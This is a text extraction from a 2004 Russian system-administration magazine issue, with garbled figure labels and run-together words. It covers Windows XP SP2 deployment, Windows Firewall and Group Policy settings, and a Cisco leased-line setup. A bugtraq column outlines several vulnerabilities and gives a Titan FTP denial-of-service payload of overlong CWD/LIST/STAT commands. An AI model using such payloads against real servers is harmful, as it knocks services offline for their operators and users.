Service Pack 2 в папку c:\sp2, нужно запустить его со следу-ющими параметрами:

При данном способе установки мы распаковываем ServicePack. Это дает нам возможность дополнительно настроитьего (например, определить исключения для firewall) перед темкак он будет установлен на компьютеры пользователей.

Установка SP2 ничем не отличается от установки обыч-ных программ через групповые политики. Единственное,необходимо иметь в виду, что установка должна быть опре-делена в части политики, отвечающей за параметры компь-ютера (computer-assigned). Кроме того, настоятельно реко-мендуется использовать фильтрацию. Так, используя филь-трацию WMI, можно, написав соответствующий запрос наязыке WQL (WMI Query Language), определить компьютеры(ОС, количество памяти, свободное дисковое пространствои т. д.), к которым будет применяться данная политика. Дан-ный вариант может быть несколько сложен, т.к. далеко невсе системные администраторы знают WQL и могут с легко-стью писать на нем запросы. Поэтому есть второй вариант –использование групп безопасности. Суть данного вариантасводится к тому, что администратор сам определяет, длякаких машин домена должна произвестись установка SP2.Администратор создает группу безопасности и включает внее учетные записи соответствующих машин. Далее, вовкладке security групповой политики он удаляет записи о груп-пе Authentificated Users и добавляет свою группу машин справами на чтение и применение данной политики:

После перезагрузки компьютеров, входящих в данную груп-пу безопасности, на них будет установлен Service Pack 23.

Установка с использованием SUSДанный способ рекомендуется использовать в том случае,если в целевой организации уже имеется инфраструктураSUS.

В зависимости от количества компьютеров, на которыенужно установить Service Pack 2, предлагаются следующиерекомендации:! Если на один SUS-сервер приходится до 2000 компью-

теров с ОС Windows XP, то никаких дополнительных дей-ствий предпринимать не нужно.

! Если на один SUS-сервер приходится более 2000 ком-пьютеров, то рекомендуется либо разрешать установкутолько в течение определенного интервала времени(чтобы не вызвать перегрузки сервера), либо использо-вать ограничения IIS или BITS для определения макси-мального числа клиентов и выделяемой для них про-пускной способности сети.

Установка Service Pack 2 с использованием SUS произ-водится точно так же, как и установка критических обнов-лений:! Обновления загружаются с корневого узла Windows

Update (или SUS).! Для каждого обновления администратор разрешает его

установку для подключающихся к SUS-серверу клиентов.! Используя групповые политики, администратор для раз-

личных организационных единиц определяет SUS-сер-веры, с которых компьютеры будут устанавливать об-новления.

! В течение 24-48 часов Service Pack 2 устанавливаетсяна все клиентские компьютеры.

Так как при использовании SUS-сервера пакет достав-ляется на компьютеры в запакованном виде, нельзя пред-варительно настроить компоненты Service Pack.

Запрет установки Service Pack 218 августа Service Pack 2 для Windows XP появился на сай-те WindowsUpdate. Таким образом, он стал доступен дляклиентов автоматического обновления, которые незамед-лительно начали его устанавливать. Для тех корпоратив-ных пользователей, которые пока не хотели устанавли-вать SP2 (до завершения окончательного корпоративно-го тестирования), но хотели по-прежнему пользоватьсяWindowsUpdate для установки критических обновленийMicrosoft опубликовала документ, описывающий, как мож-но временно (до 8 месяцев) запретить установку ServicePack 2 на компьютеры, подключенные к WindowsUpdate.Предлагаются следующие способы запрета установкиService Pack 2:! Применяя специальный шаблон групповой политики. На

сайте Microsoft имеется соответствующий adm-файл(NoXPSP2Update.adm), используя который, администра-тор может запретить установку Service Pack 2 на компь-ютерах, входящих в домен Active Directory.

3 В принципе Microsoft допускает публикацию SP2 для пользователей. В этом случае пакет становится доступным вдиалоге Установка и удаление программ →→→→→ Установка программ. Однако такой способ не является рекомендуемым,и для его реализации администратору придется самому создать соответствующий zap-файл.

Ðèñóíîê 5

{ïóòü ê SP2}\ WindowsXP-KB835935-SP2-ENU.exe /u /x:c:\sp2

Page 27: 022 Системный Администратор 09 2004

25№9(22), сентябрь 2004

администрирование

! Используя исполняемый файл или скрипт Visual Basic.Этот способ подходит для организаций, в которых нетинфраструктуры Active Directory. Запрет или разреше-ние установки SP2 определяется параметрами, с кото-рыми запускается исполняемый файл.

! C помощью электронной почты. Администратор посыла-ет письмо, содержащее URL, пользователи (с правамилокального администратора), открыв это письмо и перей-дя по ссылке, блокируют установку SP2. Для того чтобыопять разрешить установку (после того как все возмож-ные проблемы будут решены), достаточно послать новоеписьмо с другим URL, отменяющим запрет установки.

Необходимо отметить, что запрет установки являетсявременной мерой и через 8 месяцев (начиная с 16 августа)этот запрет автоматически перестанет действовать.

Файлы, необходимые для запрета установки SP2, мож-но загрузить отсюда:! http://www.microsoft.com/technet/grouppolicy! http://go.microsoft.com/fwlink/?LinkId=33517! http://www.microsoft.com/technet/scriptcenter/solutions/

blockxpsp2.mspx! http://www.microsoft.com/technet/scriptcenter/solutions/

blockxpsp2-multi.mspx

Windows FirewallWindows Firewall является одним из основных, и как пока-зывает практика, одним из самых проблемных нововведе-ний SP2. Многие неудобства, возникающие при работе про-грамм на Windows XP SP2, вызваны именно тем, что пере-даваемые ими данные блокируются новым брандмауэромWindows, который после установки SP2 по умолчанию ока-

зывается включен. Однако ситуация более чем исправи-ма – работу Windows Firewall можно легко и быстро настро-ить, используя методы, предлагаемые производителем.

В отличие от своего предшественника (ICF) у WindowsFirewall есть не один, а несколько интерфейсов для настрой-ки. Самый простой в использовании и доступный для боль-шинства пользователей – графический интерфейс, вызывае-мый через Панель управления →→→→→ Брандмауэр Windows:

Ðèñóíîê 7

Ðèñóíîê 6

Page 28: 022 Системный Администратор 09 2004

26

администрирование

Здесь вы можете определить настройки брандмауэранепосредственно на данном компьютере. Кроме того, на-стройки можно изменять и во время работы. При попыткеприложения обратиться к сетевому ресурсу, WindowsFirewall покажет соответствующий диалог, в котором выможете либо разрешить, либо запретить обращение дляданного приложения.

Однако для крупных корпоративных клиентов, имеющихсотни и тысячи компьютеров, способ интерактивной на-стройки брандмауэра абсолютно неприемлем. Наиболееэффективным способом управления настройками WindowsFirewall на большом количестве компьютеров является ис-пользование групповых политик. Настройки WindowsFirewall имеются в новых шаблонах и доступны в следую-щем месте: Конфигурация компьютера →→→→→ Административ-ные шаблоны →→→→→ Network →→→→→ Network Connections →→→→→ WindowsFirewall.

Открыв этот раздел, мы увидим два профиля настроек –Domain Profile и Standard Profile. Эти профили особенноинтересны для компаний, в которых сотрудники пользуют-ся ноутбуками (см. рис. 7).

Так, когда переносной компьютер работает внутри кор-поративной сети, для его настройки используются парамет-ры, определяемые в Domain Profile. Как только компьютертеряет связь с Active Directory (работник оказывается запределами корпоративной сети), вступают в силу настрой-ки из Standard Profile. Благодаря этим профилям можнодополнительно обезопасить корпоративную сеть от виру-

сов и червей, проникающих в нее через портативные ком-пьютеры сотрудников, определив более «жесткие» настрой-ки firewall в стандартном профиле.

Используя поставляемые Microsoft шаблоны, можно оп-ределить следующие аспекты поведения Windows Firewall:! Как обрабатывать IPSec-трафик.! Задать исключения для программ и портов.! Определить, какие настройки смогут добавлять локаль-

ные пользователи.! Настройка обработки ICMP-запросов.! Настройка работы нескольких предопределенных служб

(RDP,UPnP и др.).! Конфигурация журналирования.! Использовать или нет списки исключений.! Состояние службы Windows Firewall.

Таким образом, через групповые политики админист-раторы могут полностью настроить firewall в соответствиис требованиями политики безопасности предприятия.

Однако иногда бывает невозможно использовать этотвариант (отсутствует инфраструктура AD, используетсяWindows XP Home Edition, и т. д.). В этих случаях можновоспользоваться другими способами настройки. Если дляустановки SP2 пользователи используют распакованный ди-стрибутив, находящийся на общедоступном сетевом дис-ке, то параметры, с которыми будет запущен WindowsFirewall, можно определить в файле netfw.in_, находящем-ся в папке i386.Так, для того чтобы автоматически отклю-

Ðèñóíîê 8

Page 29: 022 Системный Администратор 09 2004

27№9(22), сентябрь 2004

администрирование

чить Windows Firewall после установки SP2 (например, еслив организации не используются host-firewall или использу-ются firewall третьих фирм) нужно добавить в этот файл сле-дующую строку в секцию стандартного профиля:

Подробное описание по возможным настройкам, опре-деляемым в inf-файле, можно найти в документе «Using theWindows Firewall INF File in Microsoft Windows XP ServicePack 2»: http://www.microsoft.com/downloadsdetails.aspx?FamilyID=cb307a1d-2f97-4e63-a581-bf25685b4c43&displaylang=en.

Если же SP2 уже установлен на компьютеры пользова-телей, используемые программы перестали работать и ворганизации нет домена, то можно воспользоваться интер-фейсом конфигурирования через сетевую оболочкуnetsh.exe (Пуск →→→→→ Выполнить →→→→→ netsh.exe).

Для конфигурирования брандмауэра используется кон-текст firewall. Используя эту утилиту, можно изменять всепараметры, доступные для настройки через групповые по-литики. Кроме того, можно написать cmd-скрипт, после вы-полнения которого на компьютере будут установлены кор-поративные настройки брандмауэра. Далее этот файл мож-но разместить на сетевом диске или отправить по почтеадминистраторам подразделений.

К сожалению, Windows Firewall не лишен недостатков.Так, с его помощью невозможно блокировать исходящийтрафик (правда, это можно сделать с помощью IPSec).

Групповые политики

Обновление шаблоновПосле установки SP2 в Windows XP появляются новые ком-поненты, управлять которыми можно через групповые по-литики. Дополнительные настройки (более 600 настроек)содержатся в новых административных шаблонах.

Администратор сможет использовать новую функцио-нальность SP2 сразу же после обновления административ-ных шаблонов на контроллерах домена. Для проведенияобновления воспользуемся консолью управления группо-выми политиками (Group Policy Management Console), дос-тупной для загрузки по адресу: http://go.microsoft.com/fwlink/?LinkId=21813 (см. рис. 8).! Установите SP2 на одном из компьютеров домена.! Перезагрузите компьютер и войдите в систему под учет-

ной записью администратора домена, администраторапредприятия или члена группы «Владельцы и создате-ли групповой политики».

! Установите gpmc.msi.! Откройте консоль gpmc (Пуск →→→→→ Панель управления →→→→→

Администрирование →→→→→ Group Policy Management).! Подключитесь к домену, шаблоны на котором необходи-

мо обновить. Для этого нажмите Действие →→→→→ Add Forestи в появившемся окне введите имя домена.

! Откройте папку Group policy objects, содержащую всеобъекты групповой политики домена.

4 Для обновления также можно использовать обычную консоль mmc и оснастку Group Policy Object Editor.

HKLM,"SYSTEM\CurrentControlSet\Services\SharedAccess\ ↵↵↵↵↵Parameters\FirewallPolicy\DomainProfile", ↵↵↵↵↵"EnableFirewall",0x00010001,0

! Откройте для редактирования (правая кнопка, Edit) всеполитики, шаблоны которых вы хотите обновить.

Через некоторое время (20-30 минут) новые шаблоныбудут реплицированы на остальные контроллеры домена.Если вы хотите ускорить этот процесс, то можете вручнуюпровести репликацию контроллеров домена Active Directoryс помощью оснастки Active Directory Sites and Services, ко-торая имеется на всех компьютерах домена, а также нарабочих станциях с установленными «Windows Server 2003Administration Tools Pack» (adminpack.msi, находится на ус-тановочном компакт-диске Server 2003)4. После обновленияшаблонов групповой политики компьютеры с Windows 2000,2003, XP, XP SP1 не смогут их редактировать.

Описание решения этой проблемы и соответствующиеисправления можно найти в следующей статье knowledgebase: http://support.microsoft.com/default.aspx?kbid=842933.

Новые возможностиДля управления новыми компонентами Windows XP при-меняются обновленные административные шаблоны. С ихпомощью можно глобально определить используемые ворганизации расширения Internet Explorer, правила рабо-ты с зонами безопасности, отображать или нет информа-ционную панель и т. д. (Administrative templates →→→→→ WindowsComponents →→→→→ Internet Explorer →→→→→ Security Features). Такжеимеются возможности настройки параметров безопаснос-ти RPC/DCOM, клиента автоматического обновления, ме-неджера управления почтовыми вложениями (AES), цент-ра безопасности, Windows Firewall, клиента служб терми-налов, проигрывателя Windows Media 9, новых сетевых ком-понентов Windows XP (BITS 2.0, P2P) и т. д. Документ, под-робно описывающий новые возможности настройки груп-повых политик Windows XP SP2, можно найти по адресу:http://go.microsoft.com/fwlink/?LinkId=31974.

Подробное описание всех параметров, конфигурируе-мых через групповые политики в формате Excel, можно най-ти здесь: http://go.microsoft.com/fwlink/?linkid=22031. Этотфайл по праву можно считать «библией» администратора,использующего групповые политики. Помимо полного опи-сания действий всех политик в нем также приводятся путиреестра, используемые при конфигурации того или иногокомпонента Windows.

Проблемы с Service Pack 2Согласно информации из базы знаний Microsoft, подавля-ющее большинство проблем, связанных с SP2, вызваныWindows Firewall. Точнее говоря, не с самим WindowsFirewall, а сетевыми программами, которые он блокирует.Путь решения таких проблем прост – либо настроить firewall,добавив в него разрешение (в стандартной конфигурацииfirewall сам покажет соответствующий диалог) для соответ-ствующей программы, либо, если политика безопасностипредприятия это позволяет, попросту его отключить или ис-пользовать firewall от третьей фирмы.

Из серьезных проблем, не связанных с брандмауэром,можно отметить несовместимость с программами SonicWALL

Page 30: 022 Системный Администратор 09 2004

28

администрирование

Создание загрузочного дискас Windows XP SP 2Пакет обновлений можно интегрировать в дистрибутивWindows XP. Для этого выполните следующие действия:! Скопируйте дистрибутив Windows XP в c:\temp\xp.! Распакуйте SP2 в папку c:\temp\sp2.! Выполните следующую команду:

После завершения мастера вы получите дистрибутивWindows XP с интегрированным Service Pack 2.

Далее находим в Интернете загрузчик cdboot.bin (напри-мер, здесь http://argon.com.ru/download/cdboot.bin.zip) и за-пускаем программу Nero Burning ROM.

Создаем загрузочный компакт-диск со следующимипараметрами (см. рис. 9, 10):

На вкладке «Label» для полей Volume label, SystemIdentifier, Volume Set и Application введите WXPVOL_EN. Вполя Publisher и Data Preparer введите MICROSOFTCORPORATION.

На вкладке Burn выберите метод записи Disc-At-Once/96и нажмите New.

Далее перетаскиваем файлы дистрибутива в окно ком-пакт-диска, записываем (если нужно) свои файлы и папки(например с MUI) и нажимаем burn (см. рис. 11):

c:\temp\sp2\i386\update\update.exe /Integrate:c:\temp\xp

Если все было сделано правильно, то полученный дискбудет загрузочным, однако лучше все же сначала прове-рить работоспособность дистрибутива на диске CD-RW.

Вместе с Service Pack2 также вышли обновленныеsupport tools и deploy tools. Поэтому перед записью дискане забудьте обновить эти утилиты новыми версиями с сай-та Microsoft.

Ðèñóíîê 9

Ðèñóíîê 10

Ðèñóíîê 11

Antivirus, Command AntiVirus, менеджер логина bootskin,Quicken Deluxe 2001. Также возникают некоторые проблемыпри работе с оборудованием. Так, в knowledge base имеет-ся информация о том, как установить драйверы для ADLSUSB модемов ZyXEL и BeWAN и устранить проблемы, воз-никающие из-за драйверов сканеров UMAX. Кроме того,имеются некоторые особенности при работе с SCSI RAIDконтроллерами от 3ware.

Отдельно следует отметить проблемы, вызванные не-совместимостью некоторых программ с технологией NX.Указывается, что ошибки могут возникать при работе с эму-ляторами Windows CE и Virtual PC 4.x. В некоторых случаяхдля решения этих проблем достаточно внести необходимоеприложение в список исключений для DEP, хотя хотя воз-можно, что в некоторых случаях может потребоваться об-новленная версия программы.

От себя же могу добавить, что серьезных проблем сWindows XP после установки SP2 лично у меня пока не

было. Была одна проблема при установке на компьютер свнешним RAID-контроллером HighPoint (компьютер ушел ввечную перезагрузку). Однако, скорее всего, она была выз-вана установленными на компьютере программами, пото-му как последующая переустановка системы с компакт-диска прошла без малейших проблем.

ЗаключениеИтак, Service Pack 2, безусловно, можно считать эпохаль-ным событием в области компьютерной безопасности. Оче-редной пакет обновлений включает в себя не только крити-ческие обновления различных компонент ОС Windows, нои привносит новую функциональность (с обязательной под-держкой централизованного управления) самой популяр-ной на сегодняшний день десктоп-системе – Windows XP.Кроме того, в его состав входят компоненты, призванные«поднять» планку безопасности и поставить дополнитель-ные преграды на пути хакеров и вирусописателей.

Page 31: 022 Системный Администратор 09 2004

Отключение контроля запущенныхприложений в Kerio Personal FirewallПрограмма: Kerio Personal Firewall 4.0.16.Опасность: Низкая.Описание: Уязвимость обнаружена в Kerio Personal Firewall.Возможность защиты запуска приложений может быть от-ключена локальным пользователем с административнымипривилегиями.

Локальное приложение может напрямую записать в\device\physicalmemory изменения, чтобы восстановить SDTService Table ядра и отключить контроль выполнения при-ложений в программе. Уязвимость не затрагивает другихфункций программы.URL производителя: http://www.kerio.com/kpf_home.html.Решение: Способов устранения обнаруженной уязвимос-ти не существует в настоящее время.

Удаленное переполнение буферав Altnet Download ManagerПрограмма: Altnet Download Manager 4.0.0.2, 4.0.0.4.Опасность: Высокая.Описание: Переполнение буфера обнаружено в AltnetDownload Manager. Удаленный пользователь может выпол-нить произвольный код на компьютере целевого пользова-теля.

Удаленный пользователь может создать HTML, которыйвызовет Altnet Download Manager ActiveX-управление со спе-циально обработанным параметром bstrFilepath, чтобы выз-вать переполнение в методе IsValidFile(). Altnet DownloadManager включен в Kazaa и Grokster.URL производителя: http://www.altnet.com/help/downloader.asp.Решение: Способов устранения обнаруженной уязвимос-ти не существует в настоящее время.

Удаленный отказ в обслуживаниив Titan FTP ServerПрограмма: Titan FTP Server 3.21 и более ранние версии.Опасность: Средняя.Описание: Уязвимость обнаружена в Titan FTP Server. Уда-ленный пользователь может аварийно завершить работуFTP-службы.

Удаленный пользователь может послать команду длин-нее 20 480 байт, чтобы вызвать переполнение буфера и ава-рийно завершить работу FTP-сервера.Пример/Эксплоит:

URL производителя: ht tp://www.southrivertech.com/index.php?pg=./products/titanftp/index.Решение: Способов устранения обнаруженной уязвимос-ти не существует в настоящее время.

Cоставил Александр Антипов

"CWD xxxxxxxxxxx...""LIST xxxxxxxxxxx...""STAT xxxxxxxxxxx..."

Удаленный отказ в обслуживаниив Kerberos 5Программа: Kerberos 5 1.2.2 – 1.3.4.Опасность: Средняя.Описание: Отказ в обслуживании обнаружен в Kerberos 5в ASN.1-библиотеке. Удаленный пользователь может зас-тавить Key Distribution Center (KDC) или сервер приложе-ний войти в бесконечный цикл.

Если тип ASN.1 SEQUENCE был закодирован с неопре-деленной длиной, то функция asn1bug_snc() попытаетсяпропустить любые неопознанные поля с функцией asn1buf_skiptail(). Функция asn1buf_skiptail() недостаточно обраба-тывает некоторые ошибки и может войти в бесконечныйцикл.URL производителя: http://web.mit.edu/kerberos/www/advisories/MITKRB5-SA-2004-003-asn1.txt.Решение: Установите соответствующее обновление: http://web.mit.edu/kerberos/advisories/2004-003-patch_1.3.4.txt иhttp://web.mit.edu/kerberos/advisories/2004-003-patch_1.2.8.txt.

Множественные уязвимостив Oracle Application ServerПрограмма: Oracle Application Server 9i и 10g; 9.0.4.1 9.0.4.0,9.0.3.1, 9.0.2.3, и 1.0.2.2.Опасность: Критическая.Описание: Множественные уязвимости были обнаруженыв Oracle Application Server. Удаленный пользователь можетполучить контроль над сервером приложений.

В июле 2004 года NGSSoftware сообщил о 34 уязвимос-тях в Oracle Database Server и Application Server, большин-ство из которых имеют критическую опасность. Уязвимос-ти включают переполнение буфера, PL/SQL-инъекцию, уяз-вимости отказа в обслуживании и другие уязвимости.

Детали уязвимости NGSSoftware планирует опублико-вать в декабре 2004 года.URL производителя: http://www.oracle.com/technology/deploy/security/pdf/2004alert68.pdf.Решение: Установите обновление, как описано в MetaLinkDocument ID 281189.1: www.oracle.com/technology/deploy/security/pdf/2004alert68.pdf.

Раскрытие адресов bcc:в Microsoft Outlook ExpressПрограмма: Microsoft Outlook Express 6.0.Опасность: Низкая.Описание: Уязвимость обнаружена в Microsoft OutlookExpress. Очень большое многоадресное сообщение, послан-ное адресатам bcc:, могут раскрыть адреса другим адреса-там.

Когда целевой пользователь посылает большой e-mail,если Microsoft Outlook Express сконфигурирован так, чтобыобрезать e-mail-сообщения такого размера, то все адреса вполе bcc: будут раскрыты другим адресатам полях to: и cc:.URL производителя: http://support.microsoft.com/default.aspx?scid=kb;EN-US;843555.Решение: Исправление доступно через Microsoft ProductSupport Services: http://support.microsoft.com/default.aspx?scid=kb;EN-US;843555.

bugtraq

29№9(22), сентябрь 2004

Page 32: 022 Системный Администратор 09 2004

30

администрирование

АНТОН БОРИСОВСегодня мы займемся реализацией связи между двумя уда-ленными точками. А именно, будем устанавливать соеди-нение между удаленной машиной под управлением ОС се-мейства Windows 2000 и Access Server Cisco AS 2511. Не-обходимо связать в единое информационное пространствофилиал и офис фирмы.

Для этого нам потребуется: выделенная линия (LeasedLine – LL), 2 модема ZyXEL серии U1496, собственно AccessServer (AS) – его роль будет выполнять Cisco AS 2511 и ма-шина с ОС Windows 2000. Мы ознакомимся с процессомустановки связи как для Windows 2000 Professional, так идля Windows 2000 Server. Главное условие, которое мы бу-дем иметь в виду – постоянное соединение с удаленной се-тью, выход в которую обеспечивает Cisco.

Когда основными являются требования установить со-единение, передать информацию по каналу, разорвать со-единение, для таких случаев в комплекте с Windows 2000Server существует служба RRAS (Remote Routing and AccessServer). В несколько иной (урезанной) форме данная служ-ба есть и в Windows 2000 Professional.

Задачу разбиваем на несколько этапов. На первом эта-пе установим ОС Windows (серверный вариант и вариантProfessional), на втором этапе свяжем между собой два мо-дема, на третьем настроим AS и на последнем увяжем всев единое целое.

Первый этап, я считаю, можно доверить нашим читате-лям. Отмечу, что нам потребуется поставить две ОСWindows на один и тот же раздел, но в разные директории.Условимся, что серверную ОС ставим в директориюC:\WINNT.SRV, а Pro-версию – в директорию C:\WINNT.PRO.Если у читателя имеется большой опыт установки ОС наразные разделы, то желательно их установить и на раз-ные разделы (хотя это не принципиально). После установ-ки файл C:\boot.ini (он имеет атрибут hidden) должен выг-лядеть примерно так:

Ключи «sos», «bootlog» добавлены исключительно дляповышения информативности процесса загрузки.

Переходим к стыковке двух модемов между собой.Замечание. Необязательно применять именно эти мо-

демы. Так получилось, что реализовывать соединение мнепришлось на их базе.

В процессе работы очень пригодится справочник [1].Приступим. Для тестирования на стенде нам потребует-

ся найти (или спаять самим) 2-проводной кабель с разъема-ми RJ-11 на обоих концах. Соединим оба модема этим кабе-лем. У этих модемов есть гнезда LINE, PHONE. Используемгнезда LINE, т.к. PHONE предназначены для подключенияне напрямую в телефонную линию, а через телефонный ап-парат. Далее через коммуникационную программу настраи-ваем модемы. Станция управления работает у меня подLinux1, поэтому в роли коммуникационной программы выс-тупает minicom (в случае если вы используете Windows, этоможет быть HyperTerminal из стандартной поставки).

Консоль от Cisco подключена на COM2, а модем, кото-рый мы будем настраивать, подключен на COM1.

Опции для minicom:! -o – не производить инициализацию модема (то есть не

посылать строчки типа ATZ и т. п.)! -8 – использовать 8-битный ввод/вывод (для русского

интерфейса программы)! ttyS0 – название инициализационного файла (представ-

лен в виде minirc.MyName)

Программу minicom следует запускать с правами обыч-ного пользователя (предварительно установив необходи-мые права доступа на нужные нам устройства ttyS).

Включаем питание модема и в терминальной програм-ме подаем ему последовательность символов «+++» (3 зна-

НАСТРАИВАЕМ СОЕДИНЕНИЕПО ВЫДЕЛЕННОЙ ЛИНИИНАСТРАИВАЕМ СОЕДИНЕНИЕПО ВЫДЕЛЕННОЙ ЛИНИИ

[boot loader]timeout=3default=multi(0)disk(0)rdisk(0)partition(2)\WINNT.PRO[operating systems]multi(0)disk(0)rdisk(0)partition(2)\WINNT.PRO="Microsoft ↵↵↵↵↵

Windows 2000 Professional RUS" /fastdetect /sos /bootlogmulti(0)disk(0)rdisk(0)partition(2)\WINNT.SRV="Microsoft ↵↵↵↵↵

Windows 2000 Server" /fastdetect /sos /bootlog

# cat /usr/local/minicom/etc/minirc.ttyS0pr port /dev/ttyS0pu baudrate 19200pu bits 8pu parity Npu stopbits 1

# minicom -o -8 ttyS0

1 Linux-машина, которая фигурирует в данной статье, предназначена для настройки модемов и для получения/отправ-ки файлов на Cisco по tftp-протоколу.

Page 33: 022 Системный Администратор 09 2004

31№9(22), сентябрь 2004

администрирование

ка плюс). Этим самым мы переходим в командный режиммодема. Как узнать, что мы находимся в командном режи-ме? Очень просто – модем выдает приглашение AT.

Теперь мы должны послать в модем строку следующе-го типа:

И завершаем действие, отправив команды:! AT&W0 – сохранение наших параметров в профиле 0

модема;! ATZ0 – использовать при включении модема парамет-

ры из профиля 0.

Теперь коротко о параметрах (более подробно см. в [1]):! &F – загрузка настроек по умолчанию (заводских пара-

метров);! &L1 – использовать 2-проводную выделенную линию;! *M1 – режим ответа в выделенной линии;! *M0 – режим старта в выделенной линии;! &H3 – аппаратное управление потоком CTS/RTS;! *E1 – коррекция ошибок (если ошибки не обработаны,

то сбросить линию);! *Q1 – если качество сигнала низкое, то произвести рет-

рейн;! M0 – спикер модема всегда выключен;! L0 – громкость спикера.

Значение для S-регистров:! S38.3 = 1 – управление CD (Carrier Detect) аналогичным

образом, как и в UNIX.! S20 = 3 – DTE скорость установить в 19.2 kbps.! S18 = 3 – установить для модема фиксированную ско-

рость (значение такое же, что и для регистра S20).! S35.1 = 1 – не прерывать процедуру установки связи

через окно терминала.! S10 = 020 – время, в десятых долях секунды, которое

модем ждет после потери несущей прежде, чем сбро-сить линию.

Мы настроили модем, который будем подключать к CiscoAS.

Отключаем питание модема и подключаем второй мо-дем. Проводим те же самые действия. За исключением того,что строка инициализации будет немного другой:

– различие в параметре *M0.Отключаем модем. Теперь при подаче питания на оба

модема они должны сами связаться друг с другом на ско-рости 19,2 Кбит/с. Получилась импровизированная выде-ленная линия.

Для того чтобы можно было использовать выделеннуюлинию, требуется поднять Async-интерфейс на сторонеCisco и поставить драйвера для COM-порта под Windows2000.

Займемся последним. Выбираем Пуск →→→→→ Настройка →→→→→Контрольная Панель →→→→→ Установка Оборудования.

Надо установить устройство «Модем». Снимите галку вдиалоге, где система предложит определить тип модемасама. Далее выбираем «Стандартные изготовители».

И устанавливаем этот стандартный модем на COM2, т.е.тот порт, к которому вы подключили модем.

Не забудьте выставить скорость для соединения в 19200и поставить галку для использования аппаратного управ-ления потоком.

Теперь воспользуемся Мастером сетевого подключения,чтобы поднять интерфейс на COM-порту.

AT&F&L1*M1&H3S38.3=1S20=3S18=3S35.1=1S10=020*E1*Q1M0L0

AT&F&L1*M0&H3S38.3=1S20=3S18=3S35.1=1S10=020*E1*Q1M0L0

Page 34: 022 Системный Администратор 09 2004

32

администрирование

На этом шаге вводим имя для нашего подключения.

И вводим имя тестового пользователя с его паролем.Они будут храниться в AS. Имя этому пользователю пустьбудет user, пароль – pass.

Для подключения CiscoHub выставьте галки на запросимени и пароля.

В свойствах подключения в протоколе TCP/IP нужноснять галку там, где предлагается регистрировать подклю-чение в DNS-сервере. Тем самым сокращаем ненужныйтрафик, тем более что полномочий на внесение измененийв данные DNS-сервера у нас нет.

Page 35: 022 Системный Администратор 09 2004

33№9(22), сентябрь 2004

администрирование

Переходим к настройке AS (Cisco AS 2511).В ходе работы потребуется tftp-сервер. Людям, рабо-

тающим под UNIX, немного удобнее. Почти наверняка tftp-сервер уже есть в системе. Осталось только его запус-тить.

Для Linux Slackware-систем следует отредактировать/etc/inetd.conf.

где:! ключ «-c» – разрешить создание файлов в домашней

директории;! ключ «-u user» – запускать tftp-сервер от имени пользо-

вателя user;! ключ «-s path» – домашняя директория для tftp-сервера

находится в каталоге path.

Подаем сигнал процессу inetd, чтобы он прочитал на-стройки в /etc/inetd.conf и учел изменения в них.

Подключаемся через коммуникационную программуminicom в консольный порт Cisco. Скорость подключенияравна 9600 бит/с.

Для Windows-платформы также существуют tftp-серве-ра. В частности, для Windows 2000 Server есть оригиналь-ный сервер от Microsoft, доступный как компонент RIS-сер-вера. Помимо этого, можно воспользоваться программамисторонних производителей [9, 10, 11]. В частности, tftp-server[9] поддерживает такие опции при передаче файлов, как«tsize», «blocksize» и «timeout». Содержит встроенныйfirewall. Может выполняться как на NT, так и на машине сWindows 2000.

Некоторое время назад Cisco выпускала свой собствен-ный tftp-сервер под Windows-платформу. Собственно, ком-пания была первой, кто предоставлял программу в свобод-ный доступ. На сегодняшний день родной Cisco-сервер бо-лее не поддерживается.

Включаем Cisco. Администрирование будет происходитьчерез консольный порт Cisco. По идее, в терминале minicomвы должны увидеть процесс загрузки IOS (InternetworkOperating System) – операционную систему, находящуюсявнутри Cisco. Если не увидели, меняйте скорость, отклю-чайте четность. Стоит обратить внимание на консольныйкабель, вполне возможно, что он от другой серии Cisco.Настройка через HyperTerminal аналогична настройке че-рез minicom.

В случае когда вы видите приглашение, например,«C2500>» это значит, что вы находитесь в пользовательс-

ком режиме. На этом шаге все проходит гладко, можно про-сматривать некоторые параметры, однако вносить измене-ния нельзя. Список команд в IOS можно просмотреть на-брав «?». Получить информацию по аппаратному обеспе-чению можно так:

Здесь приведены некоторые принципиально важныестроки: точное название Access Server, количество интер-фейсов, название системного файла-образа операционнойсистемы.

Команды можно сокращать до значимых букв, напри-мер, полная строка show users аналогична sh us. Клави-ша [TAB] позволяет не набирать полностью команду, а выб-рать имеющийся вариант, т.е. работает как «расшири-тель».

Для перехода в режим администрирования требуетсяввести команду enable.

В зависимости от текущей настройки Cisco, может по-требоваться административный пароль. Для выхода из ре-жима администрирования служит команда disable.

Для настройки Cisco следует иметь настроенный tftp-сервер, и ethernet-соединение.

В первую очередь это необходимо, чтобы сохранить кон-фигурацию.

Итак, переходим на административный уровень в Cisco.

На этом шаге предлагается с помощью меню настроитьбазовую (basic management) конфигурацию. В общем-то,следует настроить ethernet-интерфейс, а затем по сети за-писать готовую конфигурацию.

Скопировать текущую конфигурацию на tftp-сервер мож-но так:

Скопировать конфигурацию с tftp можно так:

tftp dgram udp wait root /usr/sbin/in.tftpd ↵↵↵↵↵in.tftpd -s /home/anthony/tftpd -u anthony -c

# kill -1 inetd

# cat /usr/local/minicom/etc/minirc.cisco pr port /dev/ttyS1 pu baudrate 9600 pu bits 8 pu parity N pu stopbits 1# minicom -o -8 cisco

>show version

Cisco Internetwork Operating System Software

IOS (tm) 2500 Software (C2500-I-L), Version 12.0(5)T, RELEASE SOFTWARE (fc1)

C2500 uptime is 2 days, 23 hours, 36 minutes

System returned to ROM by power-on

System restarted at 14:37:27 MSD Tue Jul 6 2004

System image file is "flash:C2500-i-l.120-5.T.bin"

cisco 2511 (68030) processor (revision L) with 14336K/2048K bytes of memory.

1 Ethernet/IEEE 802.3 interface(s)

2 Serial network interface(s)

16 terminal line(s)

32K bytes of non-volatile configuration memory.

8192K bytes of processor board System flash (Read ONLY)

Configurationregister is 0x2102

> enable

# setup

C2500#copy running-config tftp

Address or name of remote host []? 1.2.3.4

Destination filename [running-config]? C2500-Config

!!

2233 bytes copied in 7.424 secs (319 bytes/sec)

C2500#

C2500#copy tftp: running-config

Address or name of remote host []? 1.2.3.4

Source filename []? C2500-Config

Destination filename [running-config]? running-config

Accessing tftp://1.2.3.4/C2500-Config...

Loading C2500-Config from 1.2.3.4 (via Ethernet0): !

[OK - 2233/4096 bytes]

Page 36: 022 Системный Администратор 09 2004

34

администрирование

